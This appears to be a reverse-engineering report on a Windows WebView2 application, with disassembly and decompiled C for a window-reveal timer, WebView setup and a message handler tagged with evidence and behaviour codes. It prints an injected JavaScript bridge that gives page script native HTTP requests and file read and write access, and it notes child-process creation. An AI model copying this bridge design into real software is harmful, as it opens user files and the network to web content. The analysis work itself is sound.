1400047a5	eb ab	JMP LAB_140004752
LAB_1400047a7:
1400047a7	a8 01	TEST AL,0x1
1400047a9	75 16	JNZ LAB_1400047c1
1400047ab	48 8b 44 24 68	MOV RAX,qword ptr [RSP + local_60]
1400047b0	48 89 44 24 50	MOV qword ptr [RSP + local_78],RAX
1400047b5	0f 10 44 24 58	MOVUPS XMM0,xmmword ptr [RSP + local_70[0]]
1400047ba	0f 29 44 24 40	MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
1400047bf	eb 14	JMP LAB_1400047d5
LAB_1400047c1:
1400047c1	4c 8b 44 24 60	MOV R8,qword ptr [RSP + local_70[8]]
1400047c6	48 8b 54 24 68	MOV RDX,qword ptr [RSP + local_60]
1400047cb	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
1400047d0	e8 5b 03 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_1400047d5:
1400047d5	f6 06 01	TEST byte ptr [RSI],0x1
1400047d8	75 13	JNZ LAB_1400047ed
1400047da	48 8b 46 10	MOV RAX,qword ptr [RSI + 0x10]
1400047de	48 89 44 24 30	MOV qword ptr [RSP + local_98],RAX
1400047e3	0f 10 06	MOVUPS XMM0,xmmword ptr [RSI]
1400047e6	0f 29 44 24 20	MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
1400047eb	eb 12	JMP LAB_1400047ff
LAB_1400047ed:
1400047ed	4c 8b 46 08	MOV R8,qword ptr [RSI + 0x8]
1400047f1	48 8b 56 10	MOV RDX,qword ptr [RSI + 0x10]
1400047f5	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
1400047fa	e8 31 03 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_1400047ff:
1400047ff	0f b6 44 24 20	MOVZX EAX,byte ptr [RSP + local_a8[0]]
140004804	a8 01	TEST AL,0x1
140004806	74 07	JZ LAB_14000480f
140004808	4c 8b 44 24 28	MOV R8,qword ptr [RSP + local_a8[8]]
14000480d	eb 06	JMP LAB_140004815
LAB_14000480f:
14000480f	41 89 c0	MOV R8D,EAX
140004812	41 d1 e8	SHR R8D,0x1
LAB_140004815:
140004815	0f b6 54 24 40	MOVZX EDX,byte ptr [RSP + local_88[0]]
14000481a	89 d1	MOV ECX,EDX
14000481c	80 e1 01	AND CL,0x1
14000481f	74 0e	JZ LAB_14000482f
140004821	48 8b 54 24 48	MOV RDX,qword ptr [RSP + local_88[8]]
140004826	49 39 d0	CMP R8,RDX
140004829	77 0b	JA LAB_140004836
LAB_14000482b:
14000482b	31 f6	XOR ESI,ESI
14000482d	eb 5a	JMP LAB_140004889
LAB_14000482f:
14000482f	d1 ea	SHR EDX,0x1
140004831	49 39 d0	CMP R8,RDX
140004834	76 f5	JBE LAB_14000482b
LAB_140004836:
140004836	48 85 d2	TEST RDX,RDX
140004839	74 14	JZ LAB_14000484f
14000483b	84 c9	TEST CL,CL
14000483d	74 15	JZ LAB_140004854
14000483f	4c 8b 44 24 50	MOV R8,qword ptr [RSP + local_78]
140004844	a8 01	TEST AL,0x1
140004846	75 15	JNZ LAB_14000485d
LAB_140004848:
140004848	4c 8d 4c 24 22	LEA R9,[RSP + 0x22]
14000484d	eb 13	JMP LAB_140004862
LAB_14000484f:
14000484f	40 b6 01	MOV SIL,0x1
140004852	eb 35	JMP LAB_140004889
LAB_140004854:
140004854	4c 8d 44 24 42	LEA R8,[RSP + 0x42]
140004859	a8 01	TEST AL,0x1
14000485b	74 eb	JZ LAB_140004848
LAB_14000485d:
14000485d	4c 8b 4c 24 30	MOV R9,qword ptr [RSP + local_98]
LAB_140004862:
140004862	48 ff ca	DEC RDX
140004865	45 31 d2	XOR R10D,R10D
140004868	0f 1f 84 00 00 00 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_140004870:
140004870	47 0f b7 1c 51	MOVZX R11D,word ptr [R9 + R10*0x2]
140004875	66 47 3b 1c 50	CMP R11W,word ptr [R8 + R10*0x2]
14000487a	40 0f 94 c6	SETZ SIL
14000487e	75 09	JNZ LAB_140004889
140004880	4c 39 d2	CMP RDX,R10
140004883	4d 8d 52 01	LEA R10,[R10 + 0x1]
140004887	75 e7	JNZ LAB_140004870
LAB_140004889:
140004889	a8 01	TEST AL,0x1
14000488b	74 12	JZ LAB_14000489f
14000488d	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98]
140004892	e8 49 b0 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140004897	0f b6 4c 24 40	MOVZX ECX,byte ptr [RSP + local_88[0]]
14000489c	80 e1 01	AND CL,0x1
LAB_14000489f:
14000489f	84 c9	TEST CL,CL
1400048a1	74 0a	JZ LAB_1400048ad
1400048a3	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_78]
1400048a8	e8 33 b0 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400048ad:
1400048ad	0f b6 44 24 58	MOVZX EAX,byte ptr [RSP + local_70[0]]
1400048b2	a8 01	TEST AL,0x1
1400048b4	0f 85 ad fe ff ff	JNZ LAB_140004767
1400048ba	e9 b2 fe ff ff	JMP LAB_140004771

timer_reveal

0x14000496079 bytes

undefined timer_reveal(undefined8 param_1, undefined8 param_2, UINT_PTR param_3)

Timer callback that shows the main window after delay

Cited as: E12
Behaviours: B7
Called from: none found
Calls: KillTimer ShowWindow

Decompiled C · 15 lines

void timer_reveal(undefined8 param_1,undefined8 param_2,UINT_PTR param_3)

{
  KillTimer(DAT_1400c9450,param_3);
  if (DAT_1400c9458 != (longlong *)0x0) {
    (**(code **)(*DAT_1400c9458 + 0x20))(DAT_1400c9458,1);
  }
  ShowWindow(DAT_1400c9450,5);
                    /* WARNING: Could not recover jumptable at 0x0001400049a8. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  SetForegroundWindow(DAT_1400c9450);
  return;
}

Assembly · 16 instructions, 0 annotated

Address	Bytes	Instruction
140004960	48 83 ec 28	SUB RSP,0x28
140004964	4c 89 c2	MOV RDX,R8
140004967	48 8b 0d e2 4a 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
14000496e	ff 15 e4 d9 0a 00	CALL qword ptr [PTR_KillTimer_1400b2358]
140004974	48 8b 0d dd 4a 0c 00	MOV RCX,qword ptr [DAT_1400c9458]
14000497b	48 85 c9	TEST RCX,RCX
14000497e	74 0b	JZ LAB_14000498b
140004980	48 8b 01	MOV RAX,qword ptr [RCX]
140004983	ba 01 00 00 00	MOV EDX,0x1
140004988	ff 50 20	CALL qword ptr [RAX + 0x20]
LAB_14000498b:
14000498b	48 8b 0d be 4a 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140004992	ba 05 00 00 00	MOV EDX,0x5
140004997	ff 15 1b da 0a 00	CALL qword ptr [PTR_ShowWindow_1400b23b8]
14000499d	48 8b 0d ac 4a 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
1400049a4	48 83 c4 28	ADD RSP,0x28
1400049a8	48 ff 25 f1 d9 0a 00	JMP qword ptr [PTR_SetForegroundWindow_1400b23a0]

webview2_setup

0x1400056b0830 bytes

undefined8 webview2_setup(undefined8 param_1, int param_2, longlong * param_3, undefined8 param_4)

Creates WebView2 controller and configures COM environment, references the original file URLs

Cited as: E5
Behaviours: B2
Called from: none found
Calls: GetClientRect IsZoomed FUN_14001f800, FUN_14001f8e0, memcpy

Decompiled C · 135 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 webview2_setup(undefined8 param_1,int param_2,longlong *param_3,undefined8 param_4)

{
  longlong *plVar1;
  int iVar2;
  BOOL BVar3;
  undefined8 *puVar4;
  void *_Dst;
  LONG *pLVar5;
  longlong **pplVar6;
  ulonglong _Size;
  wchar_t *_Src;
  undefined8 uVar7;
  longlong lVar8;
  longlong *local_a8;
  longlong *local_a0;
  longlong *local_98;
  undefined8 uStack_90;
  undefined8 local_88;
  undefined8 uStack_80;
  undefined8 local_78;
  undefined8 uStack_70;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  undefined4 uStack_5c;
  undefined4 local_58;
  undefined2 local_54;
  LONG local_48;
  LONG LStack_44;
  LONG LStack_40;
  LONG LStack_3c;
  tagRECT local_38 [2];
  
  if (param_3 != (longlong *)0x0 && -1 < param_2) {
    DAT_1400c9458 = param_3;
    (**(code **)(*param_3 + 8))(param_3);
    (**(code **)(*param_3 + 200))(param_3,&DAT_1400c9460);
    (**(code **)(*param_3 + 0x20))(param_3,0);
    local_a0 = (longlong *)0x0;
    pplVar6 = &local_a0;
    iVar2 = (**(code **)*param_3)(param_3,&DAT_14009e3d4);
    if (local_a0 != (longlong *)0x0 && -1 < iVar2) {
      (**(code **)(*local_a0 + 0xd8))(local_a0,0x1f1b1bff);
      (**(code **)(*local_a0 + 0x10))();
    }
    local_a8 = (longlong *)0x0;
    iVar2 = (**(code **)(*DAT_1400c9460 + 0x18))(DAT_1400c9460,&local_a8);
    if (local_a8 != (longlong *)0x0 && -1 < iVar2) {
      (**(code **)(*local_a8 + 0x70))(local_a8,0);
      (**(code **)(*local_a8 + 0x40))(local_a8,0);
      (**(code **)(*local_a8 + 0x50))(local_a8,0);
      (**(code **)(*local_a8 + 0x60))(local_a8,0);
      (**(code **)(*local_a8 + 0x90))(local_a8,0);
      local_98 = (longlong *)0x0;
      pplVar6 = &local_98;
      iVar2 = (**(code **)*local_a8)(local_a8,&DAT_14009f234);
      if (local_98 != (longlong *)0x0 && -1 < iVar2) {
        (**(code **)(*local_98 + 0x120))(local_98,0);
        (**(code **)(*local_98 + 0x10))();
      }
      (**(code **)(*local_a8 + 0x10))();
    }
    GetClientRect(DAT_1400c9450,local_38);
    local_48 = local_38[0].left;
    LStack_44 = local_38[0].top;
    LStack_40 = local_38[0].right;
    LStack_3c = local_38[0].bottom;
    pLVar5 = &local_48;
    (**(code **)(*param_3 + 0x30))(param_3);
    plVar1 = DAT_1400c9460;
    puVar4 = (undefined8 *)FUN_14001f800(0x10,pLVar5,pplVar6,param_4);
    *puVar4 = 0;
    puVar4[1] = 0;
    *puVar4 = &PTR_LAB_14009f258;
    *(undefined4 *)(puVar4 + 1) = 1;
    lVar8 = *plVar1;
    uVar7 = 0;
    (**(code **)(lVar8 + 0x110))(plVar1);
    plVar1 = DAT_1400c9460;
    puVar4 = (undefined8 *)FUN_14001f800(0x10,puVar4,uVar7,lVar8);
    *puVar4 = 0;
    puVar4[1] = 0;
    *puVar4 = &PTR_LAB_14009f300;
    *(undefined4 *)(puVar4 + 1) = 1;
    lVar8 = *plVar1;
    uVar7 = 0;
    (**(code **)(lVar8 + 0x38))(plVar1);
    plVar1 = DAT_1400c9460;
    puVar4 = (undefined8 *)FUN_14001f800(0x10,puVar4,uVar7,lVar8);
    *puVar4 = 0;
    puVar4[1] = 0;
    *puVar4 = &PTR_LAB_14009f3a8;
    *(undefined4 *)(puVar4 + 1) = 1;
    lVar8 = *plVar1;
    (**(code **)(lVar8 + 0x78))(plVar1,puVar4);
    uVar7 = 0;
    (**(code **)(*DAT_1400c9460 + 0xd8))
              (DAT_1400c9460,
               L"\n(() => {\n  if (window.steamm) return;\n  const wv = () => (window.chrome && window.chrome.webview) ? window.chrome.webview : null;\n  const pending = new Map();\n  const listeners = {};\n  let nextId = 1;\n\n  const hook = () => {\n    const b = wv();\n    if (!b || b.__steammHooked) return;\n    b.__steammHooked = true;\n    b.addEventListener(\'message\', e => {\n      const m = e.data;\n      if (!m || typeof m !== \'object\') return;\n      if (m.id !== undefined && pending.has(m.id)) {\n        const p = pending.get(m.id);\n        pending.delete(m.id);\n        m.ok ? p.res(m.result) : p.rej(new Error(m.error || \'bridge error\'));\n      } else if (m.event) {\n        (listeners[m.event] || []).forEach(f => { try { f(m.data); } catch (_) {} });\n      }\n    });\n  };\n  hook();\n\n  window.steamm = {\n    invoke(method, params) {\n      return new Promise((res, rej) => {\n        const b = wv();\n        if (!b) return rej(new Error(\'bridge unavailable\'));\n        hook();\n        const id = nextId++;\n        pending.set(id, { res, rej });\n        b.postMessage({ id, method, params: params || {} });\n      });\n    },\n    win: {\n      minimize() { return window.steamm.invoke(\'win.min\'); },\n      close() { return window.steamm.invoke(\'win.close\'); },\n      drag() { return window.steamm.invoke(\'win.drag\'); },\n      resize(edge) { return window.steamm.invoke(\'win.resize\', { edge }); }\n    },\n    http(url, opts) {\n      opts = opts || {};\n      return window.steamm.invoke(\'http.request\', {\n        url, method: opts.method || \'GET\', headers: opts.headers || {},\n        body: opts.body == null ? null : String(opts.body)\n      });\n    },\n    httpJson(url, opts) {\n      return window.steamm.http(url, opts).then(r => {\n        let json = null;\n        try { json = JSON.parse(r.body); } catch (_) {}\n        return { status: r.status, json, body: r.body };\n      });\n    },\n    readText(path) { return window.steamm.invoke(\'fs.readText\', { path }).then(r => r.text); },\n    writeText(path, text) { return window.steamm.invoke(\'fs.writeText\', { path, text:..." /* TRUNCATED STRING LITERAL */
              );
    local_98 = _DAT_14009b1c0;
    uStack_90 = _UNK_14009b1c8;
    local_88 = _DAT_14009b1d0;
    uStack_80 = _UNK_14009b1d8;
    local_78 = _DAT_14009b1e0;
    uStack_70 = _UNK_14009b1e8;
    local_68 = _DAT_14009b1f0;
    uStack_64 = _UNK_14009b1f4;
    uStack_60 = _UNK_14009b1f8;
    uStack_5c = _UNK_14009b1fc;
    local_58 = 0x74006e;
    local_54 = 0;
    pplVar6 = &local_98;
    (**(code **)(*DAT_1400c9460 + 0x28))();
    if (DAT_1400c9460 != (longlong *)0x0) {
      BVar3 = IsZoomed(DAT_1400c9450);
      _Src = L"{\"event\":\"winstate\",\"data\":\"maximized\"}";
      if (BVar3 == 0) {
        _Src = L"{\"event\":\"winstate\",\"data\":\"normal\"}";
      }
      _Dst = (void *)FUN_14001f800(0x50,pplVar6,uVar7,lVar8);
      _Size = (ulonglong)((uint)(BVar3 != 0) * 6 + 0x48);
      memcpy(_Dst,_Src,_Size);
      *(undefined2 *)((longlong)_Dst + _Size) = 0;
      (**(code **)(*DAT_1400c9460 + 0x100))(DAT_1400c9460,_Dst);
      FUN_14001f8e0(_Dst);
    }
  }
  return 0;
}

Assembly · 198 instructions, 9 annotated

Address	Bytes	Instruction	Comment
1400056b0	56	PUSH RSI
1400056b1	57	PUSH RDI
1400056b2	53	PUSH RBX
1400056b3	48 81 ec b0 00 00 00	SUB RSP,0xb0
1400056ba	0f 29 b4 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + local_28[0]],XMM6
1400056c2	85 d2	TEST EDX,EDX
1400056c4	0f 98 c0	SETS AL
1400056c7	4d 85 c0	TEST R8,R8
1400056ca	0f 94 c1	SETZ CL
1400056cd	08 c1	OR CL,AL
1400056cf	0f 85 04 03 00 00	JNZ LAB_1400059d9
1400056d5	4c 89 c6	MOV RSI,R8
1400056d8	4c 89 05 79 3d 0c 00	MOV qword ptr [DAT_1400c9458],R8
1400056df	49 8b 00	MOV RAX,qword ptr [R8]
1400056e2	4c 89 c1	MOV RCX,R8
1400056e5	ff 50 08	CALL qword ptr [RAX + 0x8]
1400056e8	48 8b 06	MOV RAX,qword ptr [RSI]
1400056eb	48 8d 15 6e 3d 0c 00	LEA RDX,[DAT_1400c9460]
1400056f2	48 89 f1	MOV RCX,RSI
1400056f5	ff 90 c8 00 00 00	CALL qword ptr [RAX + 0xc8]
1400056fb	48 8b 06	MOV RAX,qword ptr [RSI]
1400056fe	48 89 f1	MOV RCX,RSI
140005701	31 d2	XOR EDX,EDX
140005703	ff 50 20	CALL qword ptr [RAX + 0x20]
140005706	48 c7 44 24 28 00 00 00 …	MOV qword ptr [RSP + local_a0],0x0
14000570f	48 8b 06	MOV RAX,qword ptr [RSI]
140005712	48 8d 15 bb 8c 09 00	LEA RDX,[DAT_14009e3d4]
140005719	4c 8d 44 24 28	LEA R8,[RSP + 0x28]
14000571e	48 89 f1	MOV RCX,RSI
140005721	ff 10	CALL qword ptr [RAX]
140005723	85 c0	TEST EAX,EAX
140005725	0f 99 c0	SETNS AL
140005728	48 8b 4c 24 28	MOV RCX,qword ptr [RSP + local_a0]
14000572d	48 85 c9	TEST RCX,RCX
140005730	0f 95 c2	SETNZ DL
140005733	20 c2	AND DL,AL
140005735	80 fa 01	CMP DL,0x1
140005738	75 19	JNZ LAB_140005753
14000573a	48 8b 01	MOV RAX,qword ptr [RCX]
14000573d	ba ff 1b 1b 1f	MOV EDX,0x1f1b1bff
140005742	ff 90 d8 00 00 00	CALL qword ptr [RAX + 0xd8]
140005748	48 8b 4c 24 28	MOV RCX,qword ptr [RSP + local_a0]
14000574d	48 8b 01	MOV RAX,qword ptr [RCX]
140005750	ff 50 10	CALL qword ptr [RAX + 0x10]
LAB_140005753:
140005753	48 c7 44 24 20 00 00 00 …	MOV qword ptr [RSP + local_a8],0x0
14000575c	48 8b 0d fd 3c 0c 00	MOV RCX,qword ptr [DAT_1400c9460]
140005763	48 8b 01	MOV RAX,qword ptr [RCX]
140005766	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
14000576b	ff 50 18	CALL qword ptr [RAX + 0x18]
14000576e	85 c0	TEST EAX,EAX
140005770	0f 99 c0	SETNS AL
140005773	48 8b 4c 24 20	MOV RCX,qword ptr [RSP + local_a8]
140005778	48 85 c9	TEST RCX,RCX
14000577b	0f 95 c2	SETNZ DL
14000577e	20 c2	AND DL,AL
140005780	80 fa 01	CMP DL,0x1
140005783	0f 85 96 00 00 00	JNZ LAB_14000581f
140005789	48 8b 01	MOV RAX,qword ptr [RCX]
14000578c	31 d2	XOR EDX,EDX
14000578e	ff 50 70	CALL qword ptr [RAX + 0x70]
140005791	48 8b 4c 24 20	MOV RCX,qword ptr [RSP + local_a8]
140005796	48 8b 01	MOV RAX,qword ptr [RCX]
140005799	31 d2	XOR EDX,EDX
14000579b	ff 50 40	CALL qword ptr [RAX + 0x40]
14000579e	48 8b 4c 24 20	MOV RCX,qword ptr [RSP + local_a8]
1400057a3	48 8b 01	MOV RAX,qword ptr [RCX]
1400057a6	31 d2	XOR EDX,EDX
1400057a8	ff 50 50	CALL qword ptr [RAX + 0x50]
1400057ab	48 8b 4c 24 20	MOV RCX,qword ptr [RSP + local_a8]
1400057b0	48 8b 01	MOV RAX,qword ptr [RCX]
1400057b3	31 d2	XOR EDX,EDX
1400057b5	ff 50 60	CALL qword ptr [RAX + 0x60]
1400057b8	48 8b 4c 24 20	MOV RCX,qword ptr [RSP + local_a8]
1400057bd	48 8b 01	MOV RAX,qword ptr [RCX]
1400057c0	31 d2	XOR EDX,EDX
1400057c2	ff 90 90 00 00 00	CALL qword ptr [RAX + 0x90]
1400057c8	48 c7 44 24 30 00 00 00 …	MOV qword ptr [RSP + local_98[0]],0x0
1400057d1	48 8b 4c 24 20	MOV RCX,qword ptr [RSP + local_a8]
1400057d6	48 8b 01	MOV RAX,qword ptr [RCX]
1400057d9	48 8d 15 54 9a 09 00	LEA RDX,[DAT_14009f234]
1400057e0	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
1400057e5	ff 10	CALL qword ptr [RAX]
1400057e7	85 c0	TEST EAX,EAX
1400057e9	0f 99 c0	SETNS AL
1400057ec	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98[0]]
1400057f1	48 85 c9	TEST RCX,RCX
1400057f4	0f 95 c2	SETNZ DL
1400057f7	20 c2	AND DL,AL
1400057f9	80 fa 01	CMP DL,0x1
1400057fc	75 16	JNZ LAB_140005814
1400057fe	48 8b 01	MOV RAX,qword ptr [RCX]
140005801	31 d2	XOR EDX,EDX
140005803	ff 90 20 01 00 00	CALL qword ptr [RAX + 0x120]
140005809	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98[0]]
14000580e	48 8b 01	MOV RAX,qword ptr [RCX]
140005811	ff 50 10	CALL qword ptr [RAX + 0x10]
LAB_140005814:
140005814	48 8b 4c 24 20	MOV RCX,qword ptr [RSP + local_a8]
140005819	48 8b 01	MOV RAX,qword ptr [RCX]
14000581c	ff 50 10	CALL qword ptr [RAX + 0x10]
LAB_14000581f:
14000581f	48 8b 0d 2a 3c 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140005826	48 8d 94 24 90 00 00 00	LEA RDX,[RSP + 0x90]
14000582e	ff 15 f4 ca 0a 00	CALL qword ptr [PTR_GetClientRect_1400b2328]
140005834	0f 10 84 24 90 00 00 00	MOVUPS XMM0,xmmword ptr [RSP + local_38[0]]
14000583c	0f 29 84 24 80 00 00 00	MOVAPS xmmword ptr [RSP + local_48[0]],XMM0
140005844	48 8b 06	MOV RAX,qword ptr [RSI]
140005847	48 8d 94 24 80 00 00 00	LEA RDX,[RSP + 0x80]
14000584f	48 89 f1	MOV RCX,RSI
140005852	ff 50 30	CALL qword ptr [RAX + 0x30]
140005855	48 8b 35 04 3c 0c 00	MOV RSI,qword ptr [DAT_1400c9460]
14000585c	b9 10 00 00 00	MOV ECX,0x10
140005861	e8 9a 9f 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
140005866	0f 57 f6	XORPS XMM6,XMM6
140005869	0f 29 30	MOVAPS xmmword ptr [RAX],XMM6
14000586c	48 8d 0d e5 99 09 00	LEA RCX,[PTR_LAB_14009f258]
140005873	48 89 08	MOV qword ptr [RAX],RCX
140005876	c7 40 08 01 00 00 00	MOV dword ptr [RAX + 0x8],0x1
14000587d	4c 8b 0e	MOV R9,qword ptr [RSI]
140005880	48 89 f1	MOV RCX,RSI
140005883	48 89 c2	MOV RDX,RAX
140005886	45 31 c0	XOR R8D,R8D
140005889	41 ff 91 10 01 00 00	CALL qword ptr [R9 + 0x110]
140005890	48 8b 35 c9 3b 0c 00	MOV RSI,qword ptr [DAT_1400c9460]
140005897	b9 10 00 00 00	MOV ECX,0x10
14000589c	e8 5f 9f 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
1400058a1	0f 29 30	MOVAPS xmmword ptr [RAX],XMM6
1400058a4	48 8d 0d 55 9a 09 00	LEA RCX,[PTR_LAB_14009f300]
1400058ab	48 89 08	MOV qword ptr [RAX],RCX
1400058ae	c7 40 08 01 00 00 00	MOV dword ptr [RAX + 0x8],0x1
1400058b5	4c 8b 0e	MOV R9,qword ptr [RSI]
1400058b8	48 89 f1	MOV RCX,RSI
1400058bb	48 89 c2	MOV RDX,RAX
1400058be	45 31 c0	XOR R8D,R8D
1400058c1	41 ff 51 38	CALL qword ptr [R9 + 0x38]
1400058c5	48 8b 35 94 3b 0c 00	MOV RSI,qword ptr [DAT_1400c9460]
1400058cc	b9 10 00 00 00	MOV ECX,0x10
1400058d1	e8 2a 9f 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
1400058d6	0f 29 30	MOVAPS xmmword ptr [RAX],XMM6
1400058d9	48 8d 0d c8 9a 09 00	LEA RCX,[PTR_LAB_14009f3a8]
1400058e0	48 89 08	MOV qword ptr [RAX],RCX
1400058e3	c7 40 08 01 00 00 00	MOV dword ptr [RAX + 0x8],0x1
1400058ea	4c 8b 0e	MOV R9,qword ptr [RSI]
1400058ed	48 89 f1	MOV RCX,RSI
1400058f0	48 89 c2	MOV RDX,RAX
1400058f3	45 31 c0	XOR R8D,R8D
1400058f6	41 ff 51 78	CALL qword ptr [R9 + 0x78]
1400058fa	48 8b 0d 5f 3b 0c 00	MOV RCX,qword ptr [DAT_1400c9460]
140005901	48 8b 01	MOV RAX,qword ptr [RCX]
140005904	48 8d 15 35 63 09 00	LEA RDX,[u_(()_=>_{_if_(window.steamm)_retu_14009bc40]	; "\n(() => {\n if (window.steamm) return;\n const wv = () => (window.chrome && wind…"
14000590b	45 31 c0	XOR R8D,R8D
14000590e	ff 90 d8 00 00 00	CALL qword ptr [RAX + 0xd8]
140005914	0f 28 05 a5 58 09 00	MOVAPS XMM0,xmmword ptr [DAT_14009b1c0]
14000591b	0f 29 44 24 30	MOVAPS xmmword ptr [RSP + local_98[0]],XMM0
140005920	0f 28 05 a9 58 09 00	MOVAPS XMM0,xmmword ptr [DAT_14009b1d0]
140005927	0f 29 44 24 40	MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
14000592c	0f 28 05 ad 58 09 00	MOVAPS XMM0,xmmword ptr [DAT_14009b1e0]
140005933	0f 29 44 24 50	MOVAPS xmmword ptr [RSP + local_78[0]],XMM0
140005938	0f 28 05 b1 58 09 00	MOVAPS XMM0,xmmword ptr [DAT_14009b1f0]
14000593f	0f 29 44 24 60	MOVAPS xmmword ptr [RSP + local_68[0]],XMM0
140005944	c7 44 24 70 6e 00 74 00	MOV dword ptr [RSP + local_58],0x74006e
14000594c	66 c7 44 24 74 00 00	MOV word ptr [RSP + local_54],0x0
140005953	48 8b 0d 06 3b 0c 00	MOV RCX,qword ptr [DAT_1400c9460]
14000595a	48 8b 01	MOV RAX,qword ptr [RCX]
14000595d	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
140005962	ff 50 28	CALL qword ptr [RAX + 0x28]
140005965	48 83 3d f3 3a 0c 00 00	CMP qword ptr [DAT_1400c9460],0x0
14000596d	74 6a	JZ LAB_1400059d9
14000596f	48 8b 0d da 3a 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140005976	ff 15 d4 c9 0a 00	CALL qword ptr [PTR_IsZoomed_1400b2350]
14000597c	31 db	XOR EBX,EBX
14000597e	85 c0	TEST EAX,EAX
140005980	0f 95 c3	SETNZ BL
140005983	48 8d 05 4e 83 09 00	LEA RAX,[u_{"event":"winstate","data":"norm_14009dcd8]	; "{\"event\":\"winstate\",\"data\":\"normal\"}"
14000598a	48 8d 3d f7 82 09 00	LEA RDI,[u_{"event":"winstate","data":"maxi_14009dc88]	; "{\"event\":\"winstate\",\"data\":\"maximized\"}"
140005991	48 0f 44 f8	CMOVZ RDI,RAX
140005995	01 db	ADD EBX,EBX
140005997	b9 50 00 00 00	MOV ECX,0x50
14000599c	e8 5f 9e 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
1400059a1	48 89 c6	MOV RSI,RAX
1400059a4	8d 1c 5b	LEA EBX,[RBX + RBX*0x2]
1400059a7	83 c3 48	ADD EBX,0x48
1400059aa	48 89 c1	MOV RCX,RAX
1400059ad	48 89 fa	MOV RDX,RDI	; "{\"event\":\"winstate\",\"data\":\"normal\"}"
1400059b0	49 89 d8	MOV R8,RBX
1400059b3	e8 78 48 09 00	CALL memcpy
1400059b8	66 c7 04 1e 00 00	MOV word ptr [RSI + RBX*0x1],0x0
1400059be	48 8b 0d 9b 3a 0c 00	MOV RCX,qword ptr [DAT_1400c9460]
1400059c5	48 8b 01	MOV RAX,qword ptr [RCX]
1400059c8	48 89 f2	MOV RDX,RSI
1400059cb	ff 90 00 01 00 00	CALL qword ptr [RAX + 0x100]
1400059d1	48 89 f1	MOV RCX,RSI
1400059d4	e8 07 9f 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400059d9:
1400059d9	31 c0	XOR EAX,EAX
1400059db	0f 28 b4 24 a0 00 00 00	MOVAPS XMM6,xmmword ptr [RSP + local_28[0]]
1400059e3	48 81 c4 b0 00 00 00	ADD RSP,0xb0
1400059ea	5b	POP RBX
1400059eb	5f	POP RDI
1400059ec	5e	POP RSI
1400059ed	c3	RET

ui_thread_handler

0x140005a906076 bytes

undefined8 ui_thread_handler(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Handles WebView2 postMessage events: parses incoming JSON, dispatches to native handlers, creates child processes

Cited as: E8
Behaviours: B4, B10
Called from: none found
Calls: CoTaskMemFree GetCursorPos PostMessageW ReleaseCapture SendMessageW ShowWindow CloseHandle CreateThread json_response_builder, FUN_140002e30, FUN_140002f80, edge_handler, file_reader, file_writer, url_launcher, FUN_1400049f0, FUN_140004fa0, json_parser, FUN_140007cb0, FUN_140007d10, FUN_140008880, FUN_1400088a0, FUN_140008c00, FUN_140008de0, FUN_140010580

Decompiled C · 1105 lines

/* WARNING: Type propagation algorithm not settling */

undefined8
ui_thread_handler(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  byte *pbVar2;
  ulonglong uVar3;
  LONG LVar4;
  undefined1 *puVar5;
  void *pvVar6;
  wchar_t *_Src;
  int iVar7;
  size_t sVar8;
  short *psVar9;
  ulonglong uVar10;
  LONG *pLVar11;
  longlong *plVar12;
  ulonglong uVar13;
  tagPOINT *ptVar14;
  void *pvVar15;
  undefined8 uVar16;
  ulonglong *puVar17;
  tagPOINT *ptVar18;
  ulonglong *puVar19;
  HANDLE hObject;
  wchar_t *pwVar20;
  tagPOINT *ptVar21;
  int *piVar22;
  wchar_t **ppwVar23;
  longlong *plVar24;
  byte *pbVar25;
  ulonglong uVar26;
  int *piVar27;
  ulonglong *puVar28;
  uint *puVar29;
  tagPOINT tVar30;
  tagPOINT *ptVar31;
  char **in_R8;
  longlong *plVar32;
  tagPOINT *ptVar33;
  ushort *puVar34;
  ulonglong *puVar35;
  tagPOINT tVar36;
  tagPOINT *in_R9;
  ulonglong *puVar37;
  longlong lVar38;
  tagPOINT local_268;
  tagPOINT tStack_260;
  tagPOINT tStack_258;
  tagPOINT tStack_250;
  tagPOINT tStack_248;
  void *local_240;
  undefined8 uStack_238;
  undefined8 local_230;
  void *pvStack_228;
  void *local_220;
  undefined8 uStack_218;
  byte local_210 [2];
  undefined1 local_20e [6];
  undefined1 local_208 [4];
  undefined1 auStack_204 [12];
  tagPOINT local_1f8;
  tagPOINT tStack_1f0;
  tagPOINT local_1e8;
  byte local_1e0;
  undefined1 local_1df [15];
  ulonglong *local_1d0;
  undefined8 local_1c8;
  undefined1 uStack_1c0;
  undefined4 uStack_1bf;
  undefined1 uStack_1bb;
  undefined1 uStack_1ba;
  undefined1 uStack_1b9;
  void *pvStack_1b8;
  undefined8 local_1b0;
